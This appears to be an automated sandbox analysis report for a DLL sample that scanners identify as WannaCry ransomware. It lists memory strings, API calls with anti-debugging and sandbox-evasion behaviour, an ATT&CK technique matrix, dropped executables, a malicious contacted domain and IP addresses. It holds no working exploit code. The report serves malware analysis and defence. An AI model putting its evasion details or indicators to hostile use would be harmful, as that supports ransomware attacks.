Source: tasksche.exe, 00000008.00000003.898729404.0000000006ADC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}N
Source: tasksche.exe, 00000008.00000003.658851527.00000000006D4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @kSTORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}efb$$
Source: tasksche.exe, 00000008.00000003.898729404.0000000006ADC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}sJ
Source: svchost.exe, 00000017.00000002.668096861.00000212C00A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: tasksche.exe, 00000008.00000003.758062847.00000000006B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: h`STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: tasksche.exe, 00000008.00000003.436935163.00000000006B2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ftware\Classes\CLSID\{FBEB8A05-BEEE-4442-804E-409D6C4515E9}\Instance\?\SCSI#CdR&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00
Source: tasksche.exe, 00000008.00000003.640760535.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: h`STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}efb$$
Source: tasksche.exe, 00000008.00000003.436297771.00000000006B2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: jh8f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 0000000E.00000002.991201170.000001CA66428000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\tasksche.exe

Code function: 8_2_0041E6DE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

8_2_0041E6DE

Source: C:\Windows\tasksche.exe

Code function: 8_2_0040CEB6 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,

8_2_0040CEB6

Source: C:\Windows\tasksche.exe	Code function: 8_2_004234CE SetUnhandledExceptionFilter,	8_2_004234CE
Source: C:\Windows\tasksche.exe	Code function: 8_2_0041E6DE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_0041E6DE
Source: C:\Windows\tasksche.exe	Code function: 8_2_0041FFDB _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_0041FFDB
Source: C:\Windows\tasksche.exe	Code function: 8_2_00423F89 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,RtlUnwind,	8_2_00423F89

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\dKkvbrzdUL.dll",#1

Jump to behavior

Source: C:\Windows\tasksche.exe	Code function: GetLocaleInfoW,GetNumberFormatW,		8_2_0040D155
Source: C:\Windows\tasksche.exe	Code function: GetLocaleInfoA,		8_2_00425EF0

Source: C:\Windows\tasksche.exe

Code function: 8_2_0040CA52 cpuid

8_2_0040CA52

Source: C:\Windows\tasksche.exe

Code function: 8_2_0040FEF0 OleInitialize,_memset,GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,LoadBitmapW,DialogBoxParamW,DeleteObject,DeleteObject,DeleteObject,CloseHandle,Sleep,OleUninitialize,

8_2_0040FEF0

Source: C:\Windows\tasksche.exe

Code function: 8_2_00409C06 GetVersionExW,

8_2_00409C06

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	2 Command and Scripting Interpreter	4 Windows Service	1 Access Token Manipulation	2 Obfuscated Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	2 Service Execution	Logon Script (Windows)	4 Windows Service	2 Software Packing	Security Account Manager	23 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	11 Process Injection	1 DLL Side-Loading	NTDS	1 Network Share Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	14 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	111 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	12 Masquerading	Cached Domain Credentials	11 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	11 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	11 Process Injection	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 Rundll32	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
dKkvbrzdUL.dll	90%	Virustotal		Browse
dKkvbrzdUL.dll	88%	ReversingLabs	Win32.Ransomware.WannaCry
dKkvbrzdUL.dll	100%	Avira	TR/Wanna.ahqwc
dKkvbrzdUL.dll	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\mssecsvr.exe	100%	Avira	TR/Wanna.ahqwc
C:\Windows\tasksche.exe	100%	Avira	TR/Wanna.ahqwc
C:\Windows\eee.exe	100%	Joe Sandbox ML
C:\Windows\mssecsvr.exe	100%	Joe Sandbox ML
C:\Windows\eee.exe	6%	Metadefender		Browse
C:\Windows\eee.exe	12%	ReversingLabs
C:\Windows\mssecsvr.exe	86%	Metadefender		Browse
C:\Windows\mssecsvr.exe	98%	ReversingLabs	Win32.Ransomware.WannaCry
C:\Windows\tasksche.exe	57%	Metadefender		Browse
C:\Windows\tasksche.exe	68%	ReversingLabs	Win32.Ransomware.WannaCry

Unpacked PE Files

Source	Detection	Scanner	Label	Download
6.0.mssecsvr.exe.400000.6.unpack	100%	Avira	TR/Wanna.ahqwc	Download File
6.2.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Wanna.ahqwc	Download File
4.0.mssecsvr.exe.400000.2.unpack	100%	Avira	TR/Wanna.ahqwc	Download File
6.0.mssecsvr.exe.400000.4.unpack	100%	Avira	TR/Wanna.ahqwc	Download File
4.2.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Wanna.ahqwc	Download File
6.0.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Wanna.ahqwc	Download File
7.0.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Wanna.ahqwc	Download File
4.0.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Wanna.ahqwc	Download File
4.0.mssecsvr.exe.400000.4.unpack	100%	Avira	TR/Wanna.ahqwc	Download File
7.2.mssecsvr.exe.400000.0.unpack	100%	Avira	TR/Wanna.yngie	Download File
4.0.mssecsvr.exe.400000.6.unpack	100%	Avira	TR/Wanna.ahqwc	Download File
6.0.mssecsvr.exe.400000.2.unpack	100%	Avira	TR/Wanna.ahqwc	Download File

Domains

Source	Detection	Scanner	Label	Link
www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	9%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://www.disneyplus.com/legal/your-california-privacy-rights	0%	URL Reputation	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://www.disneyplus.com/legal/privacy-policy	0%	URL Reputation	safe
https://www.tiktok.com/legal/report/feedback	0%	URL Reputation	safe
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comJ	0%	Avira URL Cloud	safe
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	9%	Virustotal		Browse
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	100%	Avira URL Cloud	malware
http://help.disneyplus.com.	0%	URL Reputation	safe
https://www.pango.co/privacy	0%	URL Reputation	safe
https://disneyplus.com/legal.	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	unknown	unknown	true	9%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.disneyplus.com/legal/your-california-privacy-rights	svchost.exe, 00000017.00000003.641125624.00000212C0B81000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.641002705.00000212C0B9C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.ver)	svchost.exe, 00000017.00000002.668204643.00000212C00EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://www.disneyplus.com/legal/privacy-policy	svchost.exe, 00000017.00000003.641125624.00000212C0B81000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.641002705.00000212C0B9C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.tiktok.com/legal/report/feedback	svchost.exe, 00000017.00000003.645408759.00000212C1002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.645180496.00000212C0BB6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.645121752.00000212C0BB6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.645374703.00000212C0B81000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.645301524.00000212C0BA0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comJ	mssecsvr.exe, 00000007.00000002.990866452.000000000019C000.00000004.00000010.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	mssecsvr.exe.2.dr	true	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://help.disneyplus.com.	svchost.exe, 00000017.00000003.641125624.00000212C0B81000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.641002705.00000212C0B9C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.hotspotshield.com/	svchost.exe, 00000017.00000003.636823308.00000212C0B9A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.636845736.00000212C0BAB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.636914359.00000212C1002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.636877259.00000212C0B81000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.636758222.00000212C1002000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.hotspotshield.com/terms/	svchost.exe, 00000017.00000003.636823308.00000212C0B9A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.636845736.00000212C0BAB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.636914359.00000212C1002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.636877259.00000212C0B81000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.636758222.00000212C1002000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.pango.co/privacy	svchost.exe, 00000017.00000003.636823308.00000212C0B9A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.636845736.00000212C0BAB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.636914359.00000212C1002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.636877259.00000212C0B81000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.636758222.00000212C1002000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://disneyplus.com/legal.	svchost.exe, 00000017.00000003.641125624.00000212C0B81000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.641002705.00000212C0B9C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
17.25.140.73	unknown	United States	714	APPLE-ENGINEERINGUS	false
105.177.23.65	unknown	South Africa	16637	MTNNS-ASZA	false
23.201.110.3	unknown	United States	20940	AKAMAI-ASN1EU	false
76.141.210.96	unknown	United States	7922	COMCAST-7922US	false
89.108.81.226	unknown	Russian Federation	43146	AGAVA3RU	false
114.225.182.145	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
141.252.235.163	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
73.156.54.167	unknown	United States	7922	COMCAST-7922US	false
43.29.20.14	unknown	Japan	4249	LILLY-ASUS	false
27.177.231.113	unknown	Korea Republic of	9644	SKTELECOM-NET-ASSKTelecomKR	false
165.123.70.83	unknown	United States	55	UPENNUS	false
123.142.215.169	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
193.164.100.10	unknown	United Kingdom	5552	DIALNET-UKGB	false
209.238.129.122	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
142.189.95.122	unknown	Canada	577	BACOMCA	false
53.211.135.172	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
16.164.179.225	unknown	United States	unknown	unknown	false
189.183.252.49	unknown	Mexico	8151	UninetSAdeCVMX	false
203.143.21.1	unknown	Sri Lanka	5087	LANKA-COMLankaCommunicationServicesLK	false
31.180.172.90	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
61.148.69.157	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
46.156.180.20	unknown	Norway	2119	TELENOR-NEXTELTelenorNorgeASNO	false
178.159.42.3	unknown	Ukraine	204601	ON-LINE-DATAServerlocation-NetherlandsDrontenNL	true
178.159.42.4	unknown	Ukraine	204601	ON-LINE-DATAServerlocation-NetherlandsDrontenNL	true
178.159.42.5	unknown	Ukraine	204601	ON-LINE-DATAServerlocation-NetherlandsDrontenNL	true
185.194.61.103	unknown	Spain	48146	TRIPLEAES	false
178.159.42.6	unknown	Ukraine	204601	ON-LINE-DATAServerlocation-NetherlandsDrontenNL	true
178.159.42.7	unknown	Ukraine	204601	ON-LINE-DATAServerlocation-NetherlandsDrontenNL	true
178.159.42.8	unknown	Ukraine	204601	ON-LINE-DATAServerlocation-NetherlandsDrontenNL	true
178.159.42.9	unknown	Ukraine	204601	ON-LINE-DATAServerlocation-NetherlandsDrontenNL	true
155.5.178.237	unknown	United States	1637	DNIC-AS-01637US	false
95.17.103.66	unknown	Spain	12479	UNI2-ASES	false
182.211.178.234	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
178.159.42.1	unknown	Ukraine	204601	ON-LINE-DATAServerlocation-NetherlandsDrontenNL	true
178.159.42.2	unknown	Ukraine	204601	ON-LINE-DATAServerlocation-NetherlandsDrontenNL	true
88.131.32.58	unknown	Sweden	3246	TDCSONGTele2BusinessTDCSwedenSE	false
168.11.252.147	unknown	United States	3480	PEACHNET-AS2US	false
133.133.185.173	unknown	Japan	9595	XEPHIONNTT-MECorporationJP	false
16.19.88.60	unknown	United States	unknown	unknown	false
66.13.81.23	unknown	United States	5650	FRONTIER-FRTRUS	false
153.89.177.136	unknown	United States	158	ERI-ASUS	false
73.242.65.237	unknown	United States	7922	COMCAST-7922US	false
174.98.145.243	unknown	United States	10796	TWC-10796-MIDWESTUS	false
37.21.160.238	unknown	Russian Federation	12389	ROSTELECOM-ASRU	true
185.218.67.68	unknown	Bulgaria	34569	NETWORX-BGOnlineDirectBG	false
48.109.224.18	unknown	United States	2686	ATGS-MMD-ASUS	false
62.171.52.151	unknown	Switzerland	8821	TELEZUGWWZTelekomAGTELEZUGCH	false
182.245.3.151	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
212.134.145.169	unknown	United Kingdom	6838	FLIRBLE-ASGB	false
191.139.245.22	unknown	Brazil	26615	TIMSABR	false
205.253.123.180	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
199.20.32.100	unknown	United States	25956	ALPHEUS	false
96.143.23.13	unknown	United States	7922	COMCAST-7922US	false
134.204.44.189	unknown	United States	16504	GRANITEUS	false
167.46.23.125	unknown	Canada	2665	CDAGOVNCA	false
83.185.197.31	unknown	Sweden	1257	TELE2EU	false
218.158.199.225	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false

Private

IP
192.168.2.148
192.168.2.149
192.168.2.146
192.168.2.147
192.168.2.140
192.168.2.141
192.168.2.144
192.168.2.145
192.168.2.142
192.168.2.143
192.168.2.159
192.168.2.157
192.168.2.158
192.168.2.151
192.168.2.152
192.168.2.150
192.168.2.155
192.168.2.156
192.168.2.153
192.168.2.154
192.168.2.126
192.168.2.127
192.168.2.124
192.168.2.125
10.91.195.106
192.168.2.128
192.168.2.129
192.168.2.122
192.168.2.123
192.168.2.120
192.168.2.121
192.168.2.97
192.168.2.137
192.168.2.96
192.168.2.138
192.168.2.99
192.168.2.135
192.168.2.98
192.168.2.136
192.168.2.139
192.168.2.130
192.168.2.91
192.168.2.90

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	669568
Start date and time: 20/07/202206:04:34	2022-07-20 06:04:34 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	dKkvbrzdUL (renamed file extension from none to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.troj.expl.evad.winDLL@22/3@3/100
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 99.7% (good quality ratio 97.5%) Quality average: 87.1% Quality standard deviation: 21.1%
HCA Information:	Successful, ratio: 76% Number of executed functions: 66 Number of non-executed functions: 92
Cookbook Comments:	Adjust boot time Enable AMSI Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 23.211.4.86, 173.222.108.226, 20.223.24.244, 52.167.17.97, 23.205.181.161, 52.167.249.196, 20.44.239.154, 20.72.205.209, 40.74.108.123, 52.137.106.217, 52.185.211.133
Excluded domains from analysis (whitelisted): settings-prod-wus2-2.westus2.cloudapp.azure.com, settings-prod-sea-1.southeastasia.cloudapp.azure.com, settings-prod-wjp-1.japanwest.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, e11290.dspg.akamaiedge.net, go.microsoft.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, settings-prod-wus2-1.westus2.cloudapp.azure.com, login.live.com, sls.update.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, settings-prod-scus-1.southcentralus.cloudapp.azure.com, settings-prod-eus2-2.eastus2.cloudapp.azure.com, www.bing.com, client.wns.windows.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, settings-win.data.microsoft.com, settings-prod-eus2-1.ea
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
06:05:53	API Interceptor	1x Sleep call for process: loaddll32.exe modified
06:07:45	API Interceptor	8x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
MTNNS-ASZA	HfHdILcWam.dll	Get hash	malicious	Browse	105.208.63.163
	27wTJyGMXu.dll	Get hash	malicious	Browse	41.122.247.75
	vejzyRg7oS.dll	Get hash	malicious	Browse	197.72.65.85
	93Uriby0Rk.dll	Get hash	malicious	Browse	197.65.97.154
	AwLWPy7Ng5.dll	Get hash	malicious	Browse	41.116.108.42
	ZlwDXbOWme.dll	Get hash	malicious	Browse	197.68.18.30
	fWsUtRZep3	Get hash	malicious	Browse	41.113.13.42
	XaKDorsqj2	Get hash	malicious	Browse	197.78.120.172
	RrHgMcL534	Get hash	malicious	Browse	41.124.253.241
	5jNPy3s4Kf	Get hash	malicious	Browse	197.67.135.53
	W2Mybgomwd	Get hash	malicious	Browse	41.123.62.209
	ku7T7nsfAC	Get hash	malicious	Browse	41.115.24.198
	KsV5slw1Ya	Get hash	malicious	Browse	197.71.38.215
	6R40kRoCkP	Get hash	malicious	Browse	41.124.253.217
	rMBL8qqJQu	Get hash	malicious	Browse	197.69.35.49
	8mZC2r0sUz	Get hash	malicious	Browse	197.70.138.205
	yakuza.x86	Get hash	malicious	Browse	41.127.73.142
	db0fa4b8db0333367e9bda3ab68b8042.i686	Get hash	malicious	Browse	41.122.213.1
	nvXPToKtZM	Get hash	malicious	Browse	197.68.62.203
	DjeOeweJvS	Get hash	malicious	Browse	196.30.233.220
AKAMAI-ASN1EU	BCJIMvhVOL.dll	Get hash	malicious	Browse	184.85.112.16
	P0zbN817cV.dll	Get hash	malicious	Browse	210.61.248.151
	j605B9xbiu.dll	Get hash	malicious	Browse	23.54.137.36
	6ce60BRu3n.dll	Get hash	malicious	Browse	198.64.174.27
